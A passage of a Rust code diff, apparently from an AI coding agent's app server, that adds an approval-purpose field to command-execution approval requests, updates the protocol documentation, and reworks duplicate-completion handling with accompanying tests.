approval_purpose: None,
|
||||
environment_id: None,
|
||||
reason: None,
|
||||
network_approval_context: None,
|
||||
|
||||
@@ -11,6 +11,7 @@ use super::shared::v2_enum_from_core;
|
||||
use crate::protocol::item_builders::command_actions_for_path_uri;
|
||||
use crate::protocol::item_builders::convert_patch_changes;
|
||||
use codex_experimental_api_macros::ExperimentalApi;
|
||||
use codex_protocol::approvals::ExecApprovalPurpose as CoreExecApprovalPurpose;
|
||||
use codex_protocol::approvals::GuardianAssessmentAction as CoreGuardianAssessmentAction;
|
||||
use codex_protocol::approvals::GuardianAssessmentDecisionSource as CoreGuardianAssessmentDecisionSource;
|
||||
use codex_protocol::approvals::GuardianCommandSource as CoreGuardianCommandSource;
|
||||
@@ -72,6 +73,14 @@ pub enum CommandExecutionApprovalDecision {
|
||||
Cancel,
|
||||
}
|
||||
|
||||
v2_enum_from_core! {
|
||||
pub enum CommandExecutionApprovalPurpose from CoreExecApprovalPurpose {
|
||||
Initial,
|
||||
Execve,
|
||||
SandboxRetry,
|
||||
}
|
||||
}
|
||||
|
||||
impl From<CoreReviewDecision> for CommandExecutionApprovalDecision {
|
||||
fn from(value: CoreReviewDecision) -> Self {
|
||||
match value {
|
||||
@@ -1444,16 +1453,18 @@ pub struct CommandExecutionRequestApprovalParams {
|
||||
/// Unix timestamp (in milliseconds) when this approval request started.
|
||||
#[ts(type = "number")]
|
||||
pub started_at_ms: i64,
|
||||
/// Unique identifier for this specific approval callback.
|
||||
/// Opaque identifier for this specific approval callback, when present.
|
||||
///
|
||||
/// For regular shell/unified_exec approvals, this is null.
|
||||
///
|
||||
/// For zsh-exec-bridge subcommand approvals, multiple callbacks can belong to
|
||||
/// one parent `itemId`, so `approvalId` is a distinct opaque callback id
|
||||
/// (a UUID) used to disambiguate routing.
|
||||
/// Use the JSON-RPC request ID for the response. When tracking callback UI
|
||||
/// or state outside that envelope, use this instead of `itemId` when it is
|
||||
/// present. Absence is a legacy/cacheable compatibility path.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
#[ts(optional = nullable)]
|
||||
pub approval_id: Option<String>,
|
||||
/// Semantic purpose of this approval request. Compatibility events may omit it.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
#[ts(optional = nullable)]
|
||||
pub approval_purpose: Option<CommandExecutionApprovalPurpose>,
|
||||
/// Environment in which the command will run.
|
||||
#[serde(default)]
|
||||
pub environment_id: Option<String>,
|
||||
|
||||
@@ -2065,6 +2065,7 @@ impl CodexClient {
|
||||
item_id,
|
||||
started_at_ms: _,
|
||||
approval_id,
|
||||
approval_purpose: _,
|
||||
environment_id,
|
||||
reason,
|
||||
network_approval_context,
|
||||
|
||||
@@ -1453,7 +1453,7 @@ Certain actions (shell commands or modifying files) may require explicit user ap
|
||||
Order of messages:
|
||||
|
||||
1. `item/started` — shows the pending `commandExecution` item with `command`, `cwd`, and other fields so you can render the proposed action.
|
||||
2. `item/commandExecution/requestApproval` (request) — carries the same `itemId`, `threadId`, `turnId`, the nullable `environmentId` where the command will run, optionally `approvalId` (for subcommand callbacks), and `reason`. New shell and unified-exec approvals set `environmentId`; older events that do not provide one are exposed as `null`. For normal command approvals, the request also includes `command`, `cwd`, and `commandActions` for friendly display. When `initialize.params.capabilities.experimentalApi = true`, it may also include experimental `additionalPermissions` describing requested per-command sandbox access; any filesystem paths in that payload are absolute on the wire, and network access is represented as `additionalPermissions.network.enabled`. For network-only approvals, those command fields may be omitted and `networkApprovalContext` is provided instead. Optional persistence hints may also be included via `proposedExecpolicyAmendment` and `proposedNetworkPolicyAmendments`. Clients can prefer `availableDecisions` when present to render the exact set of choices the server wants to expose, while still falling back to the older heuristics if it is omitted.
|
||||
2. `item/commandExecution/requestApproval` (request) — carries the same `itemId`, `threadId`, `turnId`, the nullable `environmentId` where the command will run, optionally `approvalId`, `approvalPurpose`, and `reason`. `itemId` remains the stable command-item identity. Use the server-initiated JSON-RPC request ID for the response. When tracking approval UI or state outside that envelope, `approvalId`, when present, is the opaque identity of this callback and distinguishes it from other callbacks on the same `itemId`; compatibility flows may omit it. `approvalPurpose`, when present, distinguishes an initial prompt, execve/subcommand callback, or sandbox retry without relying on display text; compatibility events may omit it. A follow-up callback may reuse an active item without another `item/started`; if the prior attempt already completed, the server can restart the same `itemId` before requesting retry approval. New shell and unified-exec approvals set `environmentId`; older events that do not provide one are exposed as `null`. For normal command approvals, the request also includes `command`, `cwd`, and `commandActions` for friendly display. When `initialize.params.capabilities.experimentalApi = true`, it may also include experimental `additionalPermissions` describing requested per-command sandbox access; any filesystem paths in that payload are absolute on the wire, and network access is represented as `additionalPermissions.network.enabled`. For network-only approvals, those command fields may be omitted and `networkApprovalContext` is provided instead. Optional persistence hints may also be included via `proposedExecpolicyAmendment` and `proposedNetworkPolicyAmendments`. Clients can prefer `availableDecisions` when present to render the exact set of choices the server wants to expose, while still falling back to the older heuristics if it is omitted.
|
||||
3. Client response — for example `{ "decision": "accept" }`, `{ "decision": "acceptForSession" }`, `{ "decision": { "acceptWithExecpolicyAmendment": { "execpolicy_amendment": [...] } } }`, `{ "decision": { "applyNetworkPolicyAmendment": { "network_policy_amendment": { "host": "example.com", "action": "allow" } } } }`, `{ "decision": "decline" }`, or `{ "decision": "cancel" }`.
|
||||
4. `serverRequest/resolved` — `{ threadId, requestId }` confirms the pending request has been resolved or cleared, including lifecycle cleanup on turn start/complete/interrupt.
|
||||
5. `item/completed` — final `commandExecution` item with `status: "completed" | "failed" | "declined"` and execution output. Render this as the authoritative result.
|
||||
|
||||
@@ -6,6 +6,7 @@ use crate::request_processors::populate_thread_turns_from_history;
|
||||
use crate::request_processors::thread_from_stored_thread;
|
||||
use crate::request_processors::thread_settings_from_core_snapshot;
|
||||
use crate::server_request_error::is_turn_transition_server_request_error;
|
||||
use crate::thread_state::CommandExecutionItemMetadata;
|
||||
use crate::thread_state::ThreadState;
|
||||
use crate::thread_state::TurnSummary;
|
||||
use crate::thread_state::resolve_server_request_on_thread_listener;
|
||||
@@ -82,6 +83,7 @@ use codex_app_server_protocol::TurnPlanUpdatedNotification;
|
||||
use codex_app_server_protocol::TurnStartedNotification;
|
||||
use codex_app_server_protocol::TurnStatus;
|
||||
use codex_app_server_protocol::WarningNotification;
|
||||
use codex_app_server_protocol::build_command_execution_begin_item;
|
||||
use codex_app_server_protocol::build_item_from_guardian_event;
|
||||
use codex_app_server_protocol::guardian_auto_approval_review_notification;
|
||||
use codex_app_server_protocol::item_event_to_server_notification;
|
||||
@@ -96,6 +98,7 @@ use codex_protocol::plan_tool::UpdatePlanArgs;
|
||||
use codex_protocol::protocol::CodexErrorInfo as CoreCodexErrorInfo;
|
||||
use codex_protocol::protocol::Event;
|
||||
use codex_protocol::protocol::EventMsg;
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::ExecApprovalRequestEvent;
|
||||
use codex_protocol::protocol::Op;
|
||||
use codex_protocol::protocol::RealtimeEvent;
|
||||
@@ -128,12 +131,7 @@ enum CommandExecutionApprovalPresentation {
|
||||
Command(CommandExecutionCompletionItem),
|
||||
}
|
||||
|
||||
#[derive(Debug, PartialEq)]
|
||||
struct CommandExecutionCompletionItem {
|
||||
command: String,
|
||||
cwd: LegacyAppPathString,
|
||||
command_actions: Vec<V2ParsedCommand>,
|
||||
}
|
||||
type CommandExecutionCompletionItem = CommandExecutionItemMetadata;
|
||||
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
pub(crate) async fn apply_bespoke_event_handling(
|
||||
@@ -305,17 +303,14 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
| codex_protocol::protocol::GuardianAssessmentStatus::Approved => None,
|
||||
};
|
||||
if let Some(completion_status) = completion_status
|
||||
&& let Some((target_item_id, completion_item)) = pending_command_execution
|
||||
&& let Some((target_item_id, _)) = pending_command_execution
|
||||
{
|
||||
complete_command_execution_item(
|
||||
&conversation_id,
|
||||
assessment_turn_id,
|
||||
target_item_id,
|
||||
completion_item.command,
|
||||
completion_item.cwd,
|
||||
/*process_id*/ None,
|
||||
CommandExecutionSource::Agent,
|
||||
completion_item.command_actions,
|
||||
completion_status,
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
@@ -567,6 +562,8 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
.into_iter()
|
||||
.map(CommandExecutionApprovalDecision::from)
|
||||
.collect::<Vec<_>>();
|
||||
let effective_approval_purpose = ev.effective_approval_purpose();
|
||||
let approval_purpose = ev.approval_purpose.map(Into::into);
|
||||
let ExecApprovalRequestEvent {
|
||||
call_id,
|
||||
approval_id,
|
||||
@@ -614,9 +611,7 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
Some(completion_item),
|
||||
),
|
||||
};
|
||||
if approval_id.is_none()
|
||||
&& let Some(completion_item) = completion_item.as_ref()
|
||||
{
|
||||
let started_now = if let Some(completion_item) = completion_item.as_ref() {
|
||||
start_command_execution_item(
|
||||
&conversation_id,
|
||||
event_turn_id.clone(),
|
||||
@@ -628,8 +623,10 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
)
|
||||
.await;
|
||||
}
|
||||
.await
|
||||
} else {
|
||||
false
|
||||
};
|
||||
let proposed_execpolicy_amendment_v2 =
|
||||
proposed_execpolicy_amendment.map(V2ExecPolicyAmendment::from);
|
||||
let proposed_network_policy_amendments_v2 =
|
||||
@@ -641,13 +638,13 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
});
|
||||
let additional_permissions =
|
||||
additional_permissions.map(V2AdditionalPermissionProfile::from);
|
||||
|
||||
let params = CommandExecutionRequestApprovalParams {
|
||||
thread_id: conversation_id.to_string(),
|
||||
turn_id: turn_id.clone(),
|
||||
item_id: call_id.clone(),
|
||||
started_at_ms,
|
||||
approval_id: approval_id.clone(),
|
||||
approval_purpose,
|
||||
environment_id,
|
||||
reason,
|
||||
network_approval_context,
|
||||
@@ -671,6 +668,8 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
approval_id,
|
||||
call_id,
|
||||
completion_item,
|
||||
started_now,
|
||||
effective_approval_purpose,
|
||||
pending_request_id,
|
||||
rx,
|
||||
conversation,
|
||||
@@ -1117,13 +1116,25 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
return;
|
||||
}
|
||||
let item_id = exec_command_begin_event.call_id.clone();
|
||||
let first_start = {
|
||||
let mut state = thread_state.lock().await;
|
||||
state
|
||||
.turn_summary
|
||||
.command_execution_started
|
||||
.insert(item_id.clone())
|
||||
let ThreadItem::CommandExecution {
|
||||
command,
|
||||
cwd,
|
||||
command_actions,
|
||||
..
|
||||
} = build_command_execution_begin_item(&exec_command_begin_event)
|
||||
else {
|
||||
unreachable!("command begin must build a command execution item")
|
||||
};
|
||||
let first_start = note_started_command_execution_item(
|
||||
&thread_state,
|
||||
item_id,
|
||||
CommandExecutionCompletionItem {
|
||||
command,
|
||||
cwd,
|
||||
command_actions,
|
||||
},
|
||||
)
|
||||
.await;
|
||||
if first_start {
|
||||
let notification = item_event_to_server_notification(
|
||||
EventMsg::ExecCommandBegin(exec_command_begin_event),
|
||||
@@ -1143,13 +1154,9 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
}
|
||||
EventMsg::ExecCommandEnd(exec_command_end_event) => {
|
||||
let call_id = exec_command_end_event.call_id.clone();
|
||||
{
|
||||
let mut state = thread_state.lock().await;
|
||||
state
|
||||
.turn_summary
|
||||
.command_execution_started
|
||||
.remove(&call_id);
|
||||
}
|
||||
let should_emit = remove_started_command_execution_item(&thread_state, &call_id)
|
||||
.await
|
||||
.is_some();
|
||||
if matches!(
|
||||
exec_command_end_event.source,
|
||||
codex_protocol::protocol::ExecCommandSource::UnifiedExecInteraction
|
||||
@@ -1159,6 +1166,12 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
// emitted for unified exec interactions.
|
||||
return;
|
||||
}
|
||||
if !should_emit {
|
||||
// An approval response may have completed the command item
|
||||
// before a late process-end event arrives. Do not emit a
|
||||
// second completion for an item that is no longer active.
|
||||
return;
|
||||
}
|
||||
let notification = item_event_to_server_notification(
|
||||
EventMsg::ExecCommandEnd(exec_command_end_event),
|
||||
&conversation_id.to_string(),
|
||||
@@ -1381,13 +1394,16 @@ async fn start_command_execution_item(
|
||||
outgoing: &ThreadScopedOutgoingMessageSender,
|
||||
thread_state: &Arc<Mutex<ThreadState>>,
|
||||
) -> bool {
|
||||
let first_start = {
|
||||
let mut state = thread_state.lock().await;
|
||||
state
|
||||
.turn_summary
|
||||
.command_execution_started
|
||||
.insert(item_id.clone())
|
||||
};
|
||||
let first_start = note_started_command_execution_item(
|
||||
thread_state,
|
||||
item_id.clone(),
|
||||
CommandExecutionCompletionItem {
|
||||
command: command.clone(),
|
||||
cwd: cwd.clone(),
|
||||
command_actions: command_actions.clone(),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
if first_start {
|
||||
let notification = ItemStartedNotification {
|
||||
thread_id: conversation_id.to_string(),
|
||||
@@ -1418,33 +1434,25 @@ async fn complete_command_execution_item(
|
||||
conversation_id: &ThreadId,
|
||||
turn_id: String,
|
||||
item_id: String,
|
||||
command: String,
|
||||
cwd: LegacyAppPathString,
|
||||
process_id: Option<String>,
|
||||
source: CommandExecutionSource,
|
||||
command_actions: Vec<V2ParsedCommand>,
|
||||
status: CommandExecutionStatus,
|
||||
outgoing: &ThreadScopedOutgoingMessageSender,
|
||||
thread_state: &Arc<Mutex<ThreadState>>,
|
||||
) {
|
||||
let should_emit = thread_state
|
||||
.lock()
|
||||
.await
|
||||
.turn_summary
|
||||
.command_execution_started
|
||||
.remove(&item_id);
|
||||
if !should_emit {
|
||||
let Some(completion_item) = remove_started_command_execution_item(thread_state, &item_id).await
|
||||
else {
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let item = ThreadItem::CommandExecution {
|
||||
id: item_id,
|
||||
command,
|
||||
cwd,
|
||||
command: completion_item.command,
|
||||
cwd: completion_item.cwd,
|
||||
process_id,
|
||||
source,
|
||||
status,
|
||||
command_actions,
|
||||
command_actions: completion_item.command_actions,
|
||||
aggregated_output: None,
|
||||
exit_code: None,
|
||||
duration_ms: None,
|
||||
@@ -1460,6 +1468,34 @@ async fn complete_command_execution_item(
|
||||
.await;
|
||||
}
|
||||
|
||||
async fn note_started_command_execution_item(
|
||||
thread_state: &Arc<Mutex<ThreadState>>,
|
||||
item_id: String,
|
||||
completion_item: CommandExecutionCompletionItem,
|
||||
) -> bool {
|
||||
let mut state = thread_state.lock().await;
|
||||
if let std::collections::hash_map::Entry::Vacant(entry) =
|
||||
state.turn_summary.command_execution_started.entry(item_id)
|
||||
{
|
||||
entry.insert(completion_item);
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
async fn remove_started_command_execution_item(
|
||||
thread_state: &Arc<Mutex<ThreadState>>,
|
||||
item_id: &str,
|
||||
) -> Option<CommandExecutionCompletionItem> {
|
||||
thread_state
|
||||
.lock()
|
||||
.await
|
||||
.turn_summary
|
||||
.command_execution_started
|
||||
.remove(item_id)
|
||||
}
|
||||
|
||||
async fn maybe_emit_raw_response_item_completed(
|
||||
conversation_id: ThreadId,
|
||||
turn_id: &str,
|
||||
@@ -2050,6 +2086,8 @@ async fn on_command_execution_request_approval_response(
|
||||
approval_id: Option<String>,
|
||||
item_id: String,
|
||||
completion_item: Option<CommandExecutionCompletionItem>,
|
||||
started_now: bool,
|
||||
approval_purpose: ExecApprovalPurpose,
|
||||
pending_request_id: RequestId,
|
||||
receiver: oneshot::Receiver<ClientRequestResult>,
|
||||
conversation: Arc<CodexThread>,
|
||||
@@ -2060,7 +2098,7 @@ async fn on_command_execution_request_approval_response(
|
||||
let response = receiver.await;
|
||||
resolve_server_request_on_thread_listener(&thread_state, pending_request_id).await;
|
||||
drop(permission_guard);
|
||||
let (decision, completion_status) = match response {
|
||||
let (decision, completion_status, cancel_requested) = match response {
|
||||
Ok(Ok(value)) => {
|
||||
let response = serde_json::from_value::<CommandExecutionRequestApprovalResponse>(value)
|
||||
.unwrap_or_else(|err| {
|
||||
@@ -2072,10 +2110,10 @@ async fn on_command_execution_request_approval_response(
|
||||
|
||||
let decision = response.decision;
|
||||
|
||||
let (decision, completion_status) = match decision {
|
||||
CommandExecutionApprovalDecision::Accept => (ReviewDecision::Approved, None),
|
||||
let (decision, completion_status, cancel_requested) = match decision {
|
||||
CommandExecutionApprovalDecision::Accept => (ReviewDecision::Approved, None, false),
|
||||
CommandExecutionApprovalDecision::AcceptForSession => {
|
||||
(ReviewDecision::ApprovedForSession, None)
|
||||
(ReviewDecision::ApprovedForSession, None, false)
|
||||
}
|
||||
CommandExecutionApprovalDecision::AcceptWithExecpolicyAmendment {
|
||||
execpolicy_amendment,
|
||||
@@ -2084,6 +2122,7 @@ async fn on_command_execution_request_approval_response(
|
||||
proposed_execpolicy_amendment: execpolicy_amendment.into_core(),
|
||||
},
|
||||
None,
|
||||
false,
|
||||
),
|
||||
CommandExecutionApprovalDecision::ApplyNetworkPolicyAmendment {
|
||||
network_policy_amendment,
|
||||
@@ -2097,58 +2136,60 @@ async fn on_command_execution_request_approval_response(
|
||||
network_policy_amendment: network_policy_amendment.into_core(),
|
||||
},
|
||||
completion_status,
|
||||
false,
|
||||
)
|
||||
}
|
||||
CommandExecutionApprovalDecision::Decline => (
|
||||
ReviewDecision::Denied,
|
||||
Some(CommandExecutionStatus::Declined),
|
||||
false,
|
||||
),
|
||||
CommandExecutionApprovalDecision::Cancel => (
|
||||
ReviewDecision::Abort,
|
||||
Some(CommandExecutionStatus::Declined),
|
||||
true,
|
||||
),
|
||||
};
|
||||
(decision, completion_status)
|
||||
(decision, completion_status, cancel_requested)
|
||||
}
|
||||
Ok(Err(err)) if is_turn_transition_server_request_error(&err) => return,
|
||||
Ok(Err(err)) => {
|
||||
error!("request failed with client error: {err:?}");
|
||||
(ReviewDecision::Denied, Some(CommandExecutionStatus::Failed))
|
||||
(
|
||||
ReviewDecision::Denied,
|
||||
Some(CommandExecutionStatus::Failed),
|
||||
false,
|
||||
)
|
||||
}
|
||||
Err(err) => {
|
||||
error!("request failed: {err:?}");
|
||||
(ReviewDecision::Denied, Some(CommandExecutionStatus::Failed))
|
||||
(
|
||||
ReviewDecision::Denied,
|
||||
Some(CommandExecutionStatus::Failed),
|
||||
false,
|
||||
)
|
||||
}
|
||||
};
|
||||
|
||||
let suppress_subcommand_completion_item = {
|
||||
// For regular shell/unified_exec approvals, approval_id is null.
|
||||
// For zsh-fork subcommand approvals, approval_id is present and
|
||||
// item_id points to the parent command item.
|
||||
if approval_id.is_some() {
|
||||
let state = thread_state.lock().await;
|
||||
state
|
||||
.turn_summary
|
||||
.command_execution_started
|
||||
.contains(&item_id)
|
||||
} else {
|
||||
false
|
||||
}
|
||||
};
|
||||
// An execve callback can target a command item that is still active (for
|
||||
// example, zsh-exec-bridge), while a sandbox retry represents a new attempt.
|
||||
// Suppress duplicate completion only for a non-canceling callback of the
|
||||
// former kind. A declined retry must complete the item even when its initial
|
||||
// approval already started it and no begin/end event ran before the sandbox
|
||||
// denial; cancel must also close the item before aborting.
|
||||
let suppress_repeated_prompt_completion_item =
|
||||
suppress_repeated_prompt_completion_item(started_now, approval_purpose, cancel_requested);
|
||||
|
||||
if let Some(status) = completion_status
|
||||
&& !suppress_subcommand_completion_item
|
||||
&& let Some(completion_item) = completion_item
|
||||
&& !suppress_repeated_prompt_completion_item
|
||||
&& completion_item.is_some()
|
||||
{
|
||||
complete_command_execution_item(
|
||||
&conversation_id,
|
||||
event_turn_id.clone(),
|
||||
item_id.clone(),
|
||||
completion_item.command,
|
||||
completion_item.cwd,
|
||||
/*process_id*/ None,
|
||||
CommandExecutionSource::Agent,
|
||||
completion_item.command_actions,
|
||||
status,
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
@@ -2168,6 +2209,14 @@ async fn on_command_execution_request_approval_response(
|
||||
}
|
||||
}
|
||||
|
||||
fn suppress_repeated_prompt_completion_item(
|
||||
started_now: bool,
|
||||
approval_purpose: ExecApprovalPurpose,
|
||||
cancel_requested: bool,
|
||||
) -> bool {
|
||||
!started_now && approval_purpose == ExecApprovalPurpose::Execve && !cancel_requested
|
||||
}
|
||||
|
||||
fn now_unix_timestamp_ms() -> i64 {
|
||||
SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
@@ -2576,153 +2625,116 @@ mod tests {
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn command_execution_started_helper_emits_once() -> Result<()> {
|
||||
async fn repeated_start_retains_parent_metadata_for_completion() -> Result<()> {
|
||||
let conversation_id = ThreadId::new();
|
||||
let thread_state = new_thread_state();
|
||||
let (tx, mut rx) = mpsc::channel(CHANNEL_CAPACITY);
|
||||
let outgoing = Arc::new(OutgoingMessageSender::new(
|
||||
tx,
|
||||
codex_analytics::AnalyticsEventsClient::disabled(),
|
||||
));
|
||||
let outgoing = ThreadScopedOutgoingMessageSender::new(
|
||||
outgoing,
|
||||
Arc::new(OutgoingMessageSender::new(
|
||||
tx,
|
||||
codex_analytics::AnalyticsEventsClient::disabled(),
|
||||
)),
|
||||
vec![ConnectionId(1)],
|
||||
ThreadId::new(),
|
||||
conversation_id,
|
||||
);
|
||||
let completion_item = command_execution_completion_item("printf hi");
|
||||
let parent = command_execution_completion_item("parent-command");
|
||||
let child = CommandExecutionCompletionItem {
|
||||
command: "child-command".to_string(),
|
||||
cwd: test_path_buf("/child").abs().into(),
|
||||
command_actions: vec![],
|
||||
};
|
||||
|
||||
let first_start = start_command_execution_item(
|
||||
assert!(
|
||||
start_command_execution_item(
|
||||
&conversation_id,
|
||||
"turn-1".to_string(),
|
||||
"cmd-1".to_string(),
|
||||
parent.command.clone(),
|
||||
parent.cwd.clone(),
|
||||
parent.command_actions.clone(),
|
||||
CommandExecutionSource::Agent,
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
)
|
||||
.await
|
||||
);
|
||||
let _started = recv_broadcast_message(&mut rx).await?;
|
||||
assert!(
|
||||
!start_command_execution_item(
|
||||
&conversation_id,
|
||||
"turn-1".to_string(),
|
||||
"cmd-1".to_string(),
|
||||
child.command,
|
||||
child.cwd,
|
||||
child.command_actions,
|
||||
CommandExecutionSource::Agent,
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
)
|
||||
.await
|
||||
);
|
||||
complete_command_execution_item(
|
||||
&conversation_id,
|
||||
"turn-1".to_string(),
|
||||
"cmd-1".to_string(),
|
||||
completion_item.command.clone(),
|
||||
completion_item.cwd.clone(),
|
||||
completion_item.command_actions.clone(),
|
||||
/*process_id*/ None,
|
||||
CommandExecutionSource::Agent,
|
||||
CommandExecutionStatus::Declined,
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
)
|
||||
.await;
|
||||
assert!(first_start);
|
||||
|
||||
let msg = recv_broadcast_message(&mut rx).await?;
|
||||
match msg {
|
||||
OutgoingMessage::AppServerNotification(ServerNotification::ItemStarted(payload)) => {
|
||||
assert_eq!(payload.thread_id, conversation_id.to_string());
|
||||
assert_eq!(payload.turn_id, "turn-1");
|
||||
assert_eq!(
|
||||
payload.item,
|
||||
ThreadItem::CommandExecution {
|
||||
id: "cmd-1".to_string(),
|
||||
command: completion_item.command.clone(),
|
||||
cwd: completion_item.cwd.clone(),
|
||||
process_id: None,
|
||||
source: CommandExecutionSource::Agent,
|
||||
status: CommandExecutionStatus::InProgress,
|
||||
command_actions: completion_item.command_actions.clone(),
|
||||
aggregated_output: None,
|
||||
exit_code: None,
|
||||
duration_ms: None,
|
||||
}
|
||||
);
|
||||
}
|
||||
other => bail!("unexpected message: {other:?}"),
|
||||
}
|
||||
|
||||
let second_start = start_command_execution_item(
|
||||
&conversation_id,
|
||||
"turn-1".to_string(),
|
||||
"cmd-1".to_string(),
|
||||
completion_item.command.clone(),
|
||||
completion_item.cwd.clone(),
|
||||
completion_item.command_actions.clone(),
|
||||
CommandExecutionSource::Agent,
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
)
|
||||
.await;
|
||||
assert!(!second_start);
|
||||
assert!(rx.try_recv().is_err(), "duplicate start should not emit");
|
||||
let OutgoingMessage::AppServerNotification(ServerNotification::ItemCompleted(payload)) =
|
||||
recv_broadcast_message(&mut rx).await?
|
||||
else {
|
||||
bail!("expected item/completed");
|
||||
};
|
||||
let ThreadItem::CommandExecution {
|
||||
id,
|
||||
command,
|
||||
cwd,
|
||||
command_actions,
|
||||
status,
|
||||
..
|
||||
} = payload.item
|
||||
else {
|
||||
bail!("expected command execution item");
|
||||
};
|
||||
assert_eq!(
|
||||
(id, command, cwd, command_actions, status),
|
||||
(
|
||||
"cmd-1".to_string(),
|
||||
parent.command,
|
||||
parent.cwd,
|
||||
parent.command_actions,
|
||||
CommandExecutionStatus::Declined,
|
||||
)
|
||||
);
|
||||
assert!(
|
||||
remove_started_command_execution_item(&thread_state, "cmd-1")
|
||||
.await
|
||||
.is_none()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn complete_command_execution_item_emits_declined_once_for_pending_command() -> Result<()>
|
||||
{
|
||||
let conversation_id = ThreadId::new();
|
||||
let thread_state = new_thread_state();
|
||||
let (tx, mut rx) = mpsc::channel(CHANNEL_CAPACITY);
|
||||
let outgoing = Arc::new(OutgoingMessageSender::new(
|
||||
tx,
|
||||
codex_analytics::AnalyticsEventsClient::disabled(),
|
||||
));
|
||||
let outgoing = ThreadScopedOutgoingMessageSender::new(
|
||||
outgoing,
|
||||
vec![ConnectionId(1)],
|
||||
ThreadId::new(),
|
||||
);
|
||||
let completion_item = command_execution_completion_item("printf hi");
|
||||
|
||||
start_command_execution_item(
|
||||
&conversation_id,
|
||||
"turn-1".to_string(),
|
||||
"cmd-1".to_string(),
|
||||
completion_item.command.clone(),
|
||||
completion_item.cwd.clone(),
|
||||
completion_item.command_actions.clone(),
|
||||
CommandExecutionSource::Agent,
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
)
|
||||
.await;
|
||||
let _started = recv_broadcast_message(&mut rx).await?;
|
||||
|
||||
complete_command_execution_item(
|
||||
&conversation_id,
|
||||
"turn-1".to_string(),
|
||||
"cmd-1".to_string(),
|
||||
completion_item.command.clone(),
|
||||
completion_item.cwd.clone(),
|
||||
/*process_id*/ None,
|
||||
CommandExecutionSource::Agent,
|
||||
completion_item.command_actions.clone(),
|
||||
CommandExecutionStatus::Declined,
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
)
|
||||
.await;
|
||||
|
||||
let completed = recv_broadcast_message(&mut rx).await?;
|
||||
match completed {
|
||||
OutgoingMessage::AppServerNotification(ServerNotification::ItemCompleted(payload)) => {
|
||||
let ThreadItem::CommandExecution { id, status, .. } = payload.item else {
|
||||
bail!("expected command execution completion");
|
||||
};
|
||||
assert_eq!(id, "cmd-1");
|
||||
assert_eq!(status, CommandExecutionStatus::Declined);
|
||||
}
|
||||
other => bail!("unexpected message: {other:?}"),
|
||||
#[test]
|
||||
fn repeated_approval_response_lifecycle_truth_table() {
|
||||
let cases = [
|
||||
(ExecApprovalPurpose::Initial, false, false, false),
|
||||
(ExecApprovalPurpose::Initial, false, true, false),
|
||||
(ExecApprovalPurpose::SandboxRetry, false, false, false),
|
||||
(ExecApprovalPurpose::Execve, false, false, true),
|
||||
(ExecApprovalPurpose::Execve, false, true, false),
|
||||
(ExecApprovalPurpose::Execve, true, false, false),
|
||||
];
|
||||
for (purpose, started_now, cancel, expected) in cases {
|
||||
assert_eq!(
|
||||
suppress_repeated_prompt_completion_item(started_now, purpose, cancel),
|
||||
expected
|
||||
);
|
||||
}
|
||||
|
||||
complete_command_execution_item(
|
||||
&conversation_id,
|
||||
"turn-1".to_string(),
|
||||
"cmd-1".to_string(),
|
||||
completion_item.command,
|
||||
completion_item.cwd,
|
||||
/*process_id*/ None,
|
||||
CommandExecutionSource::Agent,
|
||||
completion_item.command_actions,
|
||||
CommandExecutionStatus::Declined,
|
||||
&outgoing,
|
||||
&thread_state,
|
||||
)
|
||||
.await;
|
||||
assert!(
|
||||
rx.try_recv().is_err(),
|
||||
"completion should not emit after the pending item is cleared"
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
|
||||
@@ -1013,6 +1013,7 @@ mod tests {
|
||||
item_id: "item-1".to_string(),
|
||||
started_at_ms: 0,
|
||||
approval_id: None,
|
||||
approval_purpose: None,
|
||||
environment_id: None,
|
||||
reason: None,
|
||||
network_approval_context: None,
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
use crate::outgoing_message::ConnectionId;
|
||||
use crate::outgoing_message::ConnectionRequestId;
|
||||
use codex_app_server_protocol::CommandAction;
|
||||
use codex_app_server_protocol::RequestId;
|
||||
use codex_app_server_protocol::ThreadGoal;
|
||||
use codex_app_server_protocol::ThreadHistoryBuilder;
|
||||
@@ -29,6 +30,13 @@ use tracing::error;
|
||||
|
||||
type PendingInterruptQueue = Vec<ConnectionRequestId>;
|
||||
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
pub(crate) struct CommandExecutionItemMetadata {
|
||||
pub(crate) command: String,
|
||||
pub(crate) cwd: LegacyAppPathString,
|
||||
pub(crate) command_actions: Vec<CommandAction>,
|
||||
}
|
||||
|
||||
pub(crate) struct PendingThreadResumeRequest {
|
||||
pub(crate) request_id: ConnectionRequestId,
|
||||
pub(crate) history_items: Vec<RolloutItem>,
|
||||
@@ -70,7 +78,7 @@ pub(crate) enum ThreadListenerCommand {
|
||||
#[derive(Default, Clone)]
|
||||
pub(crate) struct TurnSummary {
|
||||
